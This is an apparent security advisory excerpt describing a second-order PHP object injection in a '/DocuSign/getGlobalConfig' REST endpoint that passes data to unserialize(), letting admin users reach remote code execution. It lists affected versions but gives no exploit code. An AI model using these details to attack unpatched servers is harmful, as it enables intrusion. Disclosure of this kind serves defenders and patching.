[-] Software Link:  
[-] Affected Versions:  
Version 12.2.0 and prior versions.  
Version 12.0.2 and prior versions.  
Version 11.0.5 and prior versions.  
[-] Vulnerability Description:  
There is a Second-Order PHP Object Injection vulnerability which might   
allow malicious  
admin users to execute arbitrary PHP code on the web server (RCE) by   
storing malicious  
serialized objects into the database.  
The vulnerability can be triggered by invoking the   
"/DocuSign/getGlobalConfig" REST API  
endpoint, which is using the unserialize() PHP function with the   
parameter. This can be exploited to inject arbitrary PHP objects into   
the application  
scope, allowing an attacker to perform a variety of attacks.
